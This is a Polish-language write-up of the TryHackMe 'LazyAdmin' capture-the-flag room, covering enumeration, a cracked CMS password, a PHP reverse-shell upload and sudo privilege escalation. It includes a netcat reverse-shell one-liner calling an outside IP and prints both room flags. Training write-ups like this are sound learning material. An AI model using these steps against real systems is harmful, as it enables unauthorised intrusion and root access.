Link do room’u: https://tryhackme.com/r/room/lazyadmin

Rozpocznę sobie całość skanem z nmapa, a w tle puszczę gobustera

nmap -oN nmap.txt -Pn -T4 -sC -sV -p- 10.10.19.199 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
gobuster dir -o gobuster.txt -u 10.10.19.199 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/content              (Status: 301) [Size: 314] [--> http://10.10.19.199/content/]
/index.html           (Status: 200) [Size: 11321]
/server-status        (Status: 403) [Size: 277]

Wchodząc na adres serwera, pokazuje się domyślna strona po instalacji apache - więc tutaj nic nie znajdziemy

Ale przez gobustera zauważyłem, że mamy coś w /content/

Wygląda to interesująco, jakiś CMS który można dalej przeskanować gobusterem

gobuster dir -o gobuster2.txt -u http://10.10.19.199/content/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/_themes              (Status: 301) [Size: 322] [--> http://10.10.19.199/content/_themes/]
/as                   (Status: 301) [Size: 317] [--> http://10.10.19.199/content/as/]
/attachment           (Status: 301) [Size: 325] [--> http://10.10.19.199/content/attachment/]
/images               (Status: 301) [Size: 321] [--> http://10.10.19.199/content/images/]
/inc                  (Status: 301) [Size: 318] [--> http://10.10.19.199/content/inc/]
/index.php            (Status: 200) [Size: 2198]
/js                   (Status: 301) [Size: 317] [--> http://10.10.19.199/content/js/]

Po chwili przeglądania tego wszystkiego, zauważyłem, że:

  • /content/as prowadzi do interfejsu logowania do tego cmsa
  • /content/inc zawiera jakieś ciekawe pliczki

No i bingo, patrząc na /content/inc znalazłem ciekawy folder o nazwie mysql_backup który zawiera bazę danych. Pobieram sobie ją, bo może zawierać coś ciekawego

Otworzyłem sobie ten pliczek, i znalazłem użytkownika o

  • nazwie: manager
  • haśle: 42f749ade7f9e195bf475f37a44cafcb

zdecryptowałem ten hash wklejając go na crackstation i wyszło na to, że hasło to Password123

Spróbuję się tym zalogować na ssh

Permission denied, please try again.

no i nie weszło ;/

W takim razie wejdę na directory /as które znalazłem wcześniej

Po wpisaniu loginu i hasła managera, udało się mi dostać na CMS

Przy okazji znalazłem coś, co może być interesujące do uzyskania reverse shella

Po szybkim wygooglowaniu tego, na exploitdb znalazłem ciekawy exploit umożliwiający wgranie mi reverse shella https://www.exploit-db.com/exploits/40716

Pierw przygotowałem sobie plik do zuploadowania zmieniając port, ip i nazwę na shell.php5 (bo nie chciało się zuploadować po .php): https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

W kolejnym oknie terminala od razu włączyłem nasłuchiwanie netcatem

Wracając do poprzedniego okienka terminala, zrobiłem:

chmod +x exploit.py
python exploit.py

Wszedłem w ten link, no i super, otrzymałem dostęp do shella

Od razu zrobiłem python --version i gdy potwierdziłem sobie istnienie pythona na serwerze, zespawnowałem sobie shella

python -c 'import pty;pty.spawn("/bin/bash")'

Zrobiłem też cat /etc/passwd żeby sprawdzić, czy nie ma jakichś ciekawych użytkowników

Od razu rzucił mi się w oko itguy, sprawdziłem jego home dir, i znalazłem flagę usera

THM{63e5bce9271952aad1113b6f1ac28a07}

Po zdobyciu flagi od razu zacząłem szukać możliwości eskalacji uprawnień z www-data do czegoś ciekawszego. Zacząłem od komendy sudo -l, która pokazała mi coś, co mnie zainteresowało

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

Robiąc cat /home/itguy/backup.pl zauważyłem, że ten plik pointuje do innego pliku -> /etc/copy.sh

cat /home/itguy/backup.pl
#!/usr/bin/perl

system("sh", "/etc/copy.sh");

Sprawdziłem sobie też ten pliczek

cat /etc/copy.sh

No i wygląda na to, że zawiera on reverse shella, który pomoże nam uzyskać shell roota

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f

Lekko pozwoliłem sobie go zmodyfikować zmieniając ip, odpaliłem też nowe okienko w terminalu i włączyłem nasłuchiwanie

wróciłem do okienka z reverse shellem i uruchomiłem skrypt backup.pl przez sudo

sudo /usr/bin/perl /home/itguy/backup.pl

Wróciłem do okienka z nasłuchiwaniem

No i sukces, teraz tylko cd /root i pozyskanie flagi roota poprzez cat root.txt

THM{6637f41d0177b6f37cb20d775124699f}